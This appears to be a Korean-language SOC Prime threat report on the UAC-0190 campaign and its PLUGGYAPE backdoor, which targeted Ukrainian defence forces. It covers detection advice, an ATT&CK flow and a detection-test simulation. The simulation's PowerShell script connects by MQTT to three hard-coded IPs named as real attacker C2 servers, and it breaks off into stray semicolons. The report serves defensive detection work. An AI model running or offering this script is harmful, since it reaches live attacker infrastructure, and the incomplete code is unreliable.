SOC Prime Bias: 위급

15 1월 2026 19:13

“뜻하지 않은 자금”: PLUGGYAPE를 이용한 우크라이나 방위군에 대한 표적 사이버 공격 UAC-0190

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
“뜻하지 않은 자금”: PLUGGYAPE를 이용한 우크라이나 방위군에 대한 표적 사이버 공격 UAC-0190
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

CERT-UA는 우크라이나 방위군 내부의 인력을 대상으로 하는 일련의 표적 침투가 있었음을 공개했으며, 운영자들이 신뢰를 높이고 실행을 촉진하기 위해 자선 기금 대표자로 위장했다고 밝혔습니다. 이 캠페인에서는 PLUGGYAPE라는 맞춤형 Python 기반 백도어를 배포했으며, 속임수를 위해 이중 확장자를 사용한 무기화된 “문서” 파일(예: .docx.pif 및 .pdf.exe)을 통해 배포하여 안전한 콘텐츠로 위장했습니다. 실행되면, 멀웨어는 MQTT 또는 WebSocket 채널을 통해 명령 및 제어를 확립하며, 타협된 도메인과 IP 기반 인프라를 혼합하여 사용했습니다. CERT-UA는 이 활동이 Void Blizzard (Laundry Bear) 클러스터와 관련이 있음을 밝혔습니다.

조사

분석 중에 응답자는 여러 악성 아티팩트를 수집하였고 이러한 페이로드가 실행을 유도하기 위해 Office와 유사한 파일로 제시된 PyInstaller로 패키징된 Python 바이너리임을 확인했습니다. 네트워크 원격 측정에서는 공격자가 제어하는 엔드포인트로의 MQTT 브로커 및 WebSocket 세션을 통한 비콘 현상이 나타났으며, 일부 서버 주소는 Base64 문자열로 내장되어 있고 붙여넣기 스타일 호스팅 서비스에서 검색되었습니다. 운영자는 Run 레지스트리 항목을 생성하여 지속성을 유지했습니다. 인프라 지표는 붙여넣기 플랫폼(예: Pastebin 및 rentry)과 미끼 체인에서 사용된 여러 자선 테마 도메인에서 발견된 참조를 통해 확인되었습니다.

완화

메신저를 통해 수신된 자발적이지 않은 “문서” 파일은 특히 이중 확장자 또는 실행 파일 위장 패턴을 사용한 첨부 파일을 고위험으로 처리하세요. 가능한 경우 PyInstaller 패키징된 바이너리의 실행을 명확히 차단하도록 애플리케이션 허용 목록을 구현하세요. 공통 지속성 위치의 변경 사항, 특히 Run 키 수정 사항을 모니터링하세요. 네트워크 계층에서, 악성 도메인으로의 아웃바운드 연결을 차단하거나 엄격하게 제어하고, 캠페인의 명령 및 제어와 관련된 MQTT 브로커 포트에 대한 대출을 제한하세요.

대응

공개된 IOC를 SIEM/EDR 도구에 입력하고, PLUGGYAPE 아티팩트를 우선순위로 하여 대상 인력이 사용하는 시스템을 중심으로 엔드포인트 전역에서 적극적으로 검색하세요. 의심되는 호스트를 격리하고 스트로스핑 범위를 위해 엔드포인트 및 네트워크 증거를 보존하세요. 레지스트리 지속성, 특히 Run 항목을 검토하고 MQTT 웹소켓의 비정상적인 트래픽 패턴을 추적하세요. 인증된 연락 경로를 사용하여 CERT-UA가 제공한 공식 연락 경로를 통해 사건 대응 및 관련 법 집행 채널을 통해 에스컬레이션하세요.

“graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% Nodes initial_access[“<b>기술</b> – <b>T1659 콘텐츠 주입</b><br /><b>설명</b>: 메시징 플랫폼을 통해 악성 파일 삽입”] class initial_access technique malicious_file[“<b>파일</b> – 악성 문서<br /><b>예시</b>: .docx.pif, .pdf.exe, 난독화된 페이로드”] class malicious_file builtin user_execution[“<b>기술</b> – <b>T1204.002 사용자 실행</b><br /><b>설명</b>: 피해자가 악성 파일을 엽니다”] class user_execution technique malware[“<b>멀웨어</b> – PyInstaller로 컴파일된 Python 백도어<br /><b>특징</b>: 내장 페이로드, WebSocket 및 MQTT 사용”] class malware malware persistence[“<b>기술</b> – <b>T1547.014 레지스트리 실행 키 / 시작 폴더</b><br /><b>설명</b>: 시작 시 자동 시작을 위한 Run 키 추가”] class persistence technique discovery[“<b>기술</b> – <b>T1082 시스템 정보 검색</b><br /><b>설명</b>: 운영 체제 세부 정보 및 하드웨어 식별자 수집”] class discovery technique command_and_control[“<b>기술</b> – <b>T1071.001 웹 프로토콜</b> 및 <b>T1102.002 MQTT</b><br /><b>설명</b>: WebSocket 및 MQTT를 통해 통신, Base64로 인코딩된 URL 사용”] class command_and_control technique defense_evasion[“<b>기술</b> – <b>T1036.008 위장</b>, <b>T1027.009 난독화된 파일</b>, <b>T1497.002 가상화/샌드박스 회피</b><br /><b>설명</b>: 바이너리를 숨기고 분석 환경을 확인”] class defense_evasion technique exfiltration[“<b>기술</b> – <b>T1011 다른 네트워크 매체를 통한 데이터 탈취</b><br /><b>설명</b>: 동일한 C2 채널을 통해 수집된 데이터 전송”] class exfiltration technique %% Connections initial_access u002du002d>|delivers| malicious_file malicious_file u002du002d>|opened by victim| user_execution user_execution u002du002d>|executes| malware malware u002du002d>|creates| persistence malware u002du002d>|gathers| discovery malware u002du002d>|connects to| command_and_control malware u002du002d>|employs| defense_evasion malware u002du002d>|exfiltrates via| exfiltration “

공격 흐름

시뮬레이션 실행

사전 조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 촉발하기 위해 설계된 적대자 기법(TTP)의 정확한 실행을 구체적으로 설명합니다. 명령어와 내러티브는 반드시 식별된 TTP를 직접 반영하여 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.

  • 공격 내러티브 및 명령:

    1. 목적: MQTT 프로토콜을 사용하여 PLUGGYAPE 인프라와 C2 채널을 설정하고, 데이터를 조용히 보고하는 일반적인 IoT 디바이스와 유사한 동작을 모방합니다.
    2. 단계별로:
      • 공격자는 PowerShell 스크립트를 드롭하여 MQTTnet 라이브러리를 로드합니다.
      • 표준 MQTT 포트(1883)에서 하드코딩된 세 개의 IP 중 하나인 악성 MQTT 브로커에 연결하는 지속적인 백그라운드 작업을 만듭니다.
      • TCP 세션을 설정한 후, 최소한의 MQTT CONNECT 패킷을 보낸 다음, 인코딩된 명령 데이터를 가진 주기적인 PUBLISH를 수행합니다.
      • 모든 네트워크 활동은 합법적인 서비스 계정의 컨텍스트에서 수행되어 정상 트래픽과 혼합됩니다.
  • 회귀 테스트 스크립트:

    # PLUGGYAPE C2 시뮬레이션 – Windows에서 MQTT 사용
    # Requires MQTTnet (installed via PowerShell Gallery)
    # ---------------------------------------------------------
    # 1. MQTTnet을 설치
    if (-not (Get-Module -ListAvailable -Name MQTTnet)) {
        Install-Module -Name MQTTnet -Scope CurrentUser -Force
    }
    
    # 2. 악성 C2 엔드포인트 정의
    $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216')
    $c2Port = 1883
    
    # 3. 현실적인 선택 시뮬레이션을 위해 무작위로 하나의 C2 서버 선택
    $targetIP = $c2IPs | Get-Random
    
    # 4. MQTT 클라이언트 빌드
    $factory = New-Object MQTTnet.MqttFactory
    $client  = $factory.CreateMqttClient()
    $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new()
                 .WithTcpServer($targetIP, $c2Port)
                 .WithClientId(([guid]::NewGuid()).Guid)
                 .Build()
    
    # 5. 백그라운드 작업에서 연결하고 시작
    ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
  • 정리 명령:

    # 백그라운드 작업 중지 및 MQTT 클라이언트 연결 해제 보장
    Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force
    Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force
    Write-Host "PLUGGYAPE C2 시뮬레이션이 중지되고 정리가 완료되었습니다."